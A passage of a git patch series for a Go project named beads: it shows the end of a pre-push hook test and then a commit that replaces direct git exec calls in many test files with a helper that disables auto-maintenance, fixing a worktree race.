"GIT_CONFIG_GLOBAL="+os.DevNull, + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@example.com", + "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@example.com", + ) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + return strings.TrimSpace(string(out)) + } + commit := func(name, message string) string { + t.Helper() + if err := os.WriteFile(filepath.Join(scratch, name), []byte(name+"\n"), 0o644); err != nil { + t.Fatal(err) + } + gitIn("add", name) + gitIn("commit", "-q", "-m", message) + return gitIn("rev-parse", "HEAD") + } + gitIn("init", "-q", "-b", "main") + docsBase := commit("README.md", "docs base") + goChange := commit("change.go", "a Go change") + docsOnly := commit("NOTES.md", "a docs-only change") + // A new remote branch is compared against main's merge-base. + gitIn("update-ref", "refs/remotes/origin/main", docsBase) + + const zero = "0000000000000000000000000000000000000000" + for _, tc := range []struct { + name string + line string + ran bool + }{ + {"git push origin HEAD (existing branch)", "HEAD " + goChange + " refs/heads/x " + docsBase, true}, + {"git push origin HEAD:refs/heads/x (new branch)", "HEAD " + goChange + " refs/heads/x " + zero, true}, + {"git push origin x (branch-named local ref)", "refs/heads/x " + goChange + " refs/heads/x " + docsBase, true}, + {"docs-only push", "HEAD " + docsOnly + " refs/heads/x " + goChange, false}, + {"tag push by HEAD", "HEAD " + goChange + " refs/tags/t " + zero, false}, + {"tag push", "refs/tags/t " + goChange + " refs/tags/t " + zero, false}, + {"branch deletion", "refs/heads/x " + zero + " refs/heads/x " + goChange, false}, + } { + t.Run(tc.name, func(t *testing.T) { + if err := os.RemoveAll(suiteLog); err != nil { + t.Fatal(err) + } + command := exec.Command(bash, hook, "origin", "https://example.invalid/repo.git") + command.Dir = scratch + command.Env = append(os.Environ(), "PATH="+filepath.Dir(git)+":/bin:/usr/bin") + command.Stdin = strings.NewReader(tc.line + "\n") + if output, err := command.CombinedOutput(); err != nil { + t.Fatalf("pre-push hook on %q: %v\n%s", tc.line, err, output) + } + _, err := os.Stat(suiteLog) + ran := err == nil + if !ran && !errors.Is(err, os.ErrNotExist) { + t.Fatal(err) + } + if ran != tc.ran { + t.Errorf("suite ran = %v on %q, want %v", ran, tc.line, tc.ran) + } + }) + } +} + // fakeGoBuildDir returns a directory holding a stand-in `go` whose `build ... // -o OUT ...` copies the Bazel-built checker (BEADS_TEST_CHECK_VERSIONS) to // OUT, for check-versions.sh under Bazel, where there is no module checkout diff --git a/scripts/pre_push_suite_test.go b/scripts/pre_push_suite_test.go index 9e4a96703..172df23a3 100644 --- a/scripts/pre_push_suite_test.go +++ b/scripts/pre_push_suite_test.go @@ -141,7 +141,7 @@ func TestPrePushHookRunsSuiteOnlyForGoChanges(t *testing.T) { body := readPolicyFile(t, sourceRepoRoot(t), ".githooks/pre-push") for _, want := range []string{ `"$repo_root/scripts/pre-push-suite.sh" managed { t.Errorf(".githooks/pre-push must run the suite before the managed beads section") } From 3571331b50e272e7ee5bb664758a898e2f594d5d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:01:46 +0000 Subject: [PATCH 167/325] test: fixtures commit with maintenance.auto=false before every git worktree add (wy-7ocweu) (#7358) Fixes #7349. The same race #7314 closed in internal/beads and internal/config, in the fixtures it did not cover: a fixture's plain `git commit` spawns the detached `git maintenance run --auto` child, whose worktree-prune races the fixture's next `git worktree add` and deletes .git/worktrees//locked under it (seen on PR #7312 run 37585997441, cmd/bd Dolt-server tier shard 4/16, TestBootstrap_WorktreeFallbackDir). One noAutoMaintenance + gitCommand(args...) helper per test package, each in an existing untagged shared test file (cmd/bd/helpers_test.go, doctor/git_test_helpers_test.go, doctor/fix/common_test.go, formula/parser_test.go, git/gitdir_test.go, storage/domain/git/git_test.go; cmd/bd/test_helpers_test.go is //go:build cgo so unusable for the pure lane), and every inline exec.Command("git", ...) in those six packages swapped for it. The flags ride the command line, never env config: the routing-key scrub drops env config. No new files, so no BUILD.bazel rows. Proof: GIT_TRACE on `go test ./cmd/bd -run TestBootstrap_WorktreeFallbackDir` counts 3 `maintenance run --auto` spawns at d8d8bf587b and 0 with this change. Co-authored-by: Claude Fable 5.1 --- cmd/bd/actor_test.go | 3 +- cmd/bd/backup_test.go | 7 ++- cmd/bd/bootstrap_embedded_test.go | 18 ++++---- cmd/bd/bootstrap_worktree_test.go | 19 ++++---- cmd/bd/completions_test.go | 7 ++- cmd/bd/config_proxied_integration_test.go | 3 +- cmd/bd/config_show_test.go | 3 +- cmd/bd/config_test.go | 15 +++--- cmd/bd/config_worktree_test.go | 13 +++--- cmd/bd/context_binding_test.go | 7 ++- cmd/bd/contributor_embedded_test.go | 2 +- cmd/bd/create_embedded_test.go | 2 +- cmd/bd/delete_test.go | 3 +- cmd/bd/doctor/bare_parent_fallback_test.go | 3 +- cmd/bd/doctor/config_values_test.go | 7 ++- cmd/bd/doctor/database_test.go | 3 +- cmd/bd/doctor/doctor_worktree_test.go | 7 ++- cmd/bd/doctor/dolt_e2e_test.go | 2 +- cmd/bd/doctor/fix/common_test.go | 12 +++++ cmd/bd/doctor/fix/fix_test.go | 9 ++-- cmd/bd/doctor/fix/git_repo_template_test.go | 9 ++-- cmd/bd/doctor/fix/hooks_test.go | 7 ++- cmd/bd/doctor/fix/metadata_dolt_test.go | 3 +- cmd/bd/doctor/git_hygiene_test.go | 3 +- cmd/bd/doctor/git_repo_template_test.go | 9 ++-- cmd/bd/doctor/git_test.go | 3 +- cmd/bd/doctor/git_test_helpers_test.go | 12 +++++ cmd/bd/doctor/gitignore_test.go | 19 ++++---- cmd/bd/doctor/hooks_migration_test.go | 3 +- cmd/bd/doctor/hooks_path_test.go | 7 ++- cmd/bd/doctor/role_test.go | 9 ++-- cmd/bd/doctor/tracked_runtime_test.go | 13 +++--- cmd/bd/dolt_autocommit_integration_test.go | 4 +- .../dolt_remote_origin_guard_embedded_test.go | 2 +- cmd/bd/dolt_remote_origin_guard_test.go | 3 +- .../dolt_remote_reset_data_embedded_test.go | 3 +- cmd/bd/explicit_db_nodb_test.go | 6 +-- cmd/bd/export_auto_test.go | 34 +++++++------- cmd/bd/git_repo_template_test.go | 9 ++-- cmd/bd/helpers_test.go | 12 +++++ cmd/bd/hooks_export_staged_deletion_test.go | 7 ++- cmd/bd/hooks_export_worktree_test.go | 4 +- cmd/bd/hooks_guard_test.go | 18 ++++---- cmd/bd/hooks_worktree_test.go | 46 +++++++++---------- cmd/bd/init_cancel_e2e_test.go | 2 +- cmd/bd/init_embedded_test.go | 24 +++++----- cmd/bd/init_git_bootstrap_routing_test.go | 5 +- cmd/bd/init_hooks_test.go | 33 +++++++------ cmd/bd/init_proxied_server_test.go | 13 +++--- cmd/bd/init_role_environment_test.go | 7 ++- cmd/bd/init_role_routing_test.go | 4 +- cmd/bd/init_stealth_test.go | 21 ++++----- cmd/bd/init_test.go | 20 ++++---- cmd/bd/init_worktree_test.go | 19 ++++---- cmd/bd/migrate_hooks_apply_test.go | 3 +- cmd/bd/migrate_personal_test.go | 8 ++-- cmd/bd/orphans_proxied_integration_test.go | 3 +- cmd/bd/prime_embedded_test.go | 2 +- cmd/bd/rename_prefix_worktree_test.go | 7 ++- cmd/bd/reset_worktree_test.go | 19 ++++---- cmd/bd/sync_git_test.go | 3 +- cmd/bd/sync_remote_test.go | 3 +- cmd/bd/test_helpers_pure_test.go | 4 +- cmd/bd/test_repo_beads_guard_test.go | 2 +- cmd/bd/test_wait_helper_test.go | 11 ++--- cmd/bd/uninstall_config_test.go | 14 +++--- cmd/bd/user_config_path_windows_test.go | 4 +- cmd/bd/worktree_cmd_test.go | 11 ++--- cmd/bd/worktree_remove_test.go | 4 +- cmd/bd/worktree_test.go | 14 +++--- internal/formula/parser_test.go | 15 +++++- internal/git/gitdir_test.go | 25 +++++++--- internal/storage/domain/git/git_test.go | 19 ++++++-- 73 files changed, 367 insertions(+), 342 deletions(-) diff --git a/cmd/bd/actor_test.go b/cmd/bd/actor_test.go index 4e0e1d1fc..d7efa7fc3 100644 --- a/cmd/bd/actor_test.go +++ b/cmd/bd/actor_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "strings" "testing" @@ -40,7 +39,7 @@ func TestGetActorWithGit(t *testing.T) { // Helper to get current git user.name (may be empty if not configured) getGitUserName := func() string { - out, err := exec.Command("git", "config", "user.name").Output() + out, err := gitCommand("config", "user.name").Output() if err != nil { return "" } diff --git a/cmd/bd/backup_test.go b/cmd/bd/backup_test.go index c012a4349..a1f38efa5 100644 --- a/cmd/bd/backup_test.go +++ b/cmd/bd/backup_test.go @@ -5,7 +5,6 @@ package main import ( "encoding/json" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -102,7 +101,7 @@ func TestBackupDir_UsesWorktreeFallback(t *testing.T) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -119,13 +118,13 @@ func TestBackupDir_UsesWorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/bootstrap_embedded_test.go b/cmd/bd/bootstrap_embedded_test.go index 3b72b6aab..41a028802 100644 --- a/cmd/bd/bootstrap_embedded_test.go +++ b/cmd/bd/bootstrap_embedded_test.go @@ -110,13 +110,13 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Run("bootstrap_dry_run_fresh", func(t *testing.T) { dir := t.TempDir() - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.name", "Test") + cmd = gitCommand("config", "user.name", "Test") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.email", "test@test.com") + cmd = gitCommand("config", "user.email", "test@test.com") cmd.Dir = dir cmd.CombinedOutput() // Create .beads with metadata.json so FindBeadsDir detects it @@ -134,13 +134,13 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Run("bootstrap_init", func(t *testing.T) { dir := t.TempDir() - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.name", "Test") + cmd = gitCommand("config", "user.name", "Test") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.email", "test@test.com") + cmd = gitCommand("config", "user.email", "test@test.com") cmd.Dir = dir cmd.CombinedOutput() beadsDir := filepath.Join(dir, ".beads") @@ -176,13 +176,13 @@ func TestEmbeddedBootstrap(t *testing.T) { // Create new dir with .beads + issues.jsonl but no database dir := t.TempDir() - gitCmd := exec.Command("git", "init", "-q") + gitCmd := gitCommand("init", "-q") gitCmd.Dir = dir gitCmd.CombinedOutput() - gitCmd = exec.Command("git", "config", "user.name", "Test") + gitCmd = gitCommand("config", "user.name", "Test") gitCmd.Dir = dir gitCmd.CombinedOutput() - gitCmd = exec.Command("git", "config", "user.email", "test@test.com") + gitCmd = gitCommand("config", "user.email", "test@test.com") gitCmd.Dir = dir gitCmd.CombinedOutput() destBeads := filepath.Join(dir, ".beads") diff --git a/cmd/bd/bootstrap_worktree_test.go b/cmd/bd/bootstrap_worktree_test.go index 239fb7766..ef11995cd 100644 --- a/cmd/bd/bootstrap_worktree_test.go +++ b/cmd/bd/bootstrap_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestBootstrap_WorktreeFallbackDir(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestBootstrap_WorktreeFallbackDir(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -111,7 +110,7 @@ func TestBootstrap_WorktreeLocalBeadsPreferLocal(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -127,13 +126,13 @@ func TestBootstrap_WorktreeLocalBeadsPreferLocal(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -181,7 +180,7 @@ func TestBootstrap_WorktreeNoBeadsAnywhereStillPointsToMainRepo(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -197,13 +196,13 @@ func TestBootstrap_WorktreeNoBeadsAnywhereStillPointsToMainRepo(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/completions_test.go b/cmd/bd/completions_test.go index 6d8605302..5b16e7bb6 100644 --- a/cmd/bd/completions_test.go +++ b/cmd/bd/completions_test.go @@ -5,7 +5,6 @@ package main import ( "context" "os" - "os/exec" "path/filepath" "testing" "time" @@ -245,7 +244,7 @@ func TestIssueIDCompletion_UsesWorktreeFallbackWhenStoreNil(t *testing.T) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -262,13 +261,13 @@ func TestIssueIDCompletion_UsesWorktreeFallbackWhenStoreNil(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/config_proxied_integration_test.go b/cmd/bd/config_proxied_integration_test.go index 5a33af44a..745142fc0 100644 --- a/cmd/bd/config_proxied_integration_test.go +++ b/cmd/bd/config_proxied_integration_test.go @@ -8,7 +8,6 @@ import ( "encoding/json" "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -266,7 +265,7 @@ func TestProxiedServerConfig(t *testing.T) { t.Errorf("beads.role set should not advance HEAD: before=%s after=%s", before, after) } - gitCmd := exec.Command("git", "config", "--get", "beads.role") + gitCmd := gitCommand("config", "--get", "beads.role") gitCmd.Dir = p.dir out, err := gitCmd.Output() if err != nil { diff --git a/cmd/bd/config_show_test.go b/cmd/bd/config_show_test.go index 9d4408f4c..bdad92519 100644 --- a/cmd/bd/config_show_test.go +++ b/cmd/bd/config_show_test.go @@ -3,7 +3,6 @@ package main import ( "encoding/json" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -454,7 +453,7 @@ func TestCollectGitConfigEntriesIgnoresInheritedRouting(t *testing.T) { pinJSONOutput(t, false) runGit := func(t *testing.T, repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { diff --git a/cmd/bd/config_test.go b/cmd/bd/config_test.go index 03435d498..197c98c3a 100644 --- a/cmd/bd/config_test.go +++ b/cmd/bd/config_test.go @@ -5,7 +5,6 @@ package main import ( "context" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -221,14 +220,14 @@ func TestBeadsRoleGitConfig(t *testing.T) { tmpDir := newGitRepo(t) t.Run("set contributor role writes to git config", func(t *testing.T) { - cmd := exec.Command("git", "config", "beads.role", "contributor") + cmd := gitCommand("config", "beads.role", "contributor") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config set failed: %v", err) } // Verify it's readable from git config - cmd = exec.Command("git", "config", "--get", "beads.role") + cmd = gitCommand("config", "--get", "beads.role") cmd.Dir = tmpDir output, err := cmd.Output() if err != nil { @@ -240,13 +239,13 @@ func TestBeadsRoleGitConfig(t *testing.T) { }) t.Run("set maintainer role writes to git config", func(t *testing.T) { - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config set failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "beads.role") + cmd = gitCommand("config", "--get", "beads.role") cmd.Dir = tmpDir output, err := cmd.Output() if err != nil { @@ -275,7 +274,7 @@ func TestBeadsRoleCommandsIgnoreInheritedGitRouting(t *testing.T) { pinJSONOutput(t, false) runGit := func(t *testing.T, repo string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() @@ -406,7 +405,7 @@ func TestBeadsRoleWritesUseFreshCommonConfig(t *testing.T) { t.Setenv(key, home) } run := func(dir string, args ...string) string { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -1155,7 +1154,7 @@ func TestBeadsRoleWriteErrorsRetainGitDiagnostics(t *testing.T) { repo := newGitRepo(t) t.Chdir(repo) run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) out, err := cmd.CombinedOutput() require.NoError(t, err, "%s", out) } diff --git a/cmd/bd/config_worktree_test.go b/cmd/bd/config_worktree_test.go index 6dfe48f5e..21a8eb01e 100644 --- a/cmd/bd/config_worktree_test.go +++ b/cmd/bd/config_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -23,7 +22,7 @@ func TestFindBeadsRepoRoot_WorktreeFallback(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -41,13 +40,13 @@ func TestFindBeadsRepoRoot_WorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -97,7 +96,7 @@ func TestBeadsPollutionCheck_WorktreeSkips(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -115,13 +114,13 @@ func TestBeadsPollutionCheck_WorktreeSkips(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/context_binding_test.go b/cmd/bd/context_binding_test.go index 07e2f3338..5d23bc304 100644 --- a/cmd/bd/context_binding_test.go +++ b/cmd/bd/context_binding_test.go @@ -4,7 +4,6 @@ import ( "context" "io" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -32,12 +31,12 @@ func initGitRepoForContextTest(t *testing.T, dir string) { if err := os.MkdirAll(dir, 0o755); err != nil { t.Fatalf("mkdir repo: %v", err) } - cmd := exec.Command("git", "init", "--quiet") + cmd := gitCommand("init", "--quiet") cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init: %v\n%s", err, output) } - cmd = exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd = gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config hooks: %v\n%s", err, output) @@ -201,7 +200,7 @@ func TestDetectUserRoleForActiveRepoUsesSelectedBeadsDir(t *testing.T) { targetBeadsDir := filepath.Join(targetDir, ".beads") writeTestConfigYAML(t, targetBeadsDir, "") - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = targetDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config beads.role: %v\n%s", err, output) diff --git a/cmd/bd/contributor_embedded_test.go b/cmd/bd/contributor_embedded_test.go index 7799c93ed..71d31c0a5 100644 --- a/cmd/bd/contributor_embedded_test.go +++ b/cmd/bd/contributor_embedded_test.go @@ -109,7 +109,7 @@ func initContributor(t *testing.T, bd, prefix string) (projectDir, planningDir s requireFile(t, planningBeadsDir) // Sanity: beads.role should be "contributor". - roleCmd := exec.Command("git", "config", "beads.role") + roleCmd := gitCommand("config", "beads.role") roleCmd.Dir = projectDir roleOut, err := roleCmd.Output() if err != nil { diff --git a/cmd/bd/create_embedded_test.go b/cmd/bd/create_embedded_test.go index a40734abe..43ed28a3a 100644 --- a/cmd/bd/create_embedded_test.go +++ b/cmd/bd/create_embedded_test.go @@ -1245,7 +1245,7 @@ func TestEmbeddedCreateWithGitRemote(t *testing.T) { dir, _, _ := bdInit(t, bd, "--prefix", "gr") // Add a fake git remote so isBackupAutoEnabled returns true - cmd := exec.Command("git", "remote", "add", "origin", "https://example.com/fake.git") + cmd := gitCommand("remote", "add", "origin", "https://example.com/fake.git") cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add failed: %v\n%s", err, out) diff --git a/cmd/bd/delete_test.go b/cmd/bd/delete_test.go index ccec010b2..2c2313dfa 100644 --- a/cmd/bd/delete_test.go +++ b/cmd/bd/delete_test.go @@ -6,7 +6,6 @@ package main import ( "context" "errors" - "os/exec" "path/filepath" "strings" "testing" @@ -176,7 +175,7 @@ func testGitInit(t *testing.T, dir string) { func testGitCmd(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\nOutput: %s", args, err, output) diff --git a/cmd/bd/doctor/bare_parent_fallback_test.go b/cmd/bd/doctor/bare_parent_fallback_test.go index c6d2cbe3e..d50e6f8f8 100644 --- a/cmd/bd/doctor/bare_parent_fallback_test.go +++ b/cmd/bd/doctor/bare_parent_fallback_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -148,7 +147,7 @@ func setupBareParentWorktreeForDoctorTest(t *testing.T) (string, string) { func runGitInDirForDoctorTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/config_values_test.go b/cmd/bd/doctor/config_values_test.go index 86030fa27..77a6e1963 100644 --- a/cmd/bd/doctor/config_values_test.go +++ b/cmd/bd/doctor/config_values_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -29,7 +28,7 @@ func setupDoctorSharedWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -48,13 +47,13 @@ func setupDoctorSharedWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - addWorktree := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + addWorktree := gitCommand("worktree", "add", worktreeDir, "HEAD") addWorktree.Dir = mainRepoDir if out, err := addWorktree.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - removeWorktree := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + removeWorktree := gitCommand("worktree", "remove", "--force", worktreeDir) removeWorktree.Dir = mainRepoDir _ = removeWorktree.Run() }) diff --git a/cmd/bd/doctor/database_test.go b/cmd/bd/doctor/database_test.go index 7e3555aa7..f57f24760 100644 --- a/cmd/bd/doctor/database_test.go +++ b/cmd/bd/doctor/database_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -179,7 +178,7 @@ func TestCheckSchemaCompatibility(t *testing.T) { func runDoctorGitInDir(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/doctor_worktree_test.go b/cmd/bd/doctor/doctor_worktree_test.go index f232b38bf..df533a57b 100644 --- a/cmd/bd/doctor/doctor_worktree_test.go +++ b/cmd/bd/doctor/doctor_worktree_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -22,7 +21,7 @@ func setupWorktreeRepo(t *testing.T) (mainRepoDir, worktreeDir string) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -39,13 +38,13 @@ func setupWorktreeRepo(t *testing.T) (mainRepoDir, worktreeDir string) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 412eae31a..6402a4348 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -282,7 +282,7 @@ func setupMinimalGitRepo(t *testing.T) string { {"config", "user.name", "test"}, {"config", "user.email", "test@test.com"}, } { - cmd := exec.Command("git", 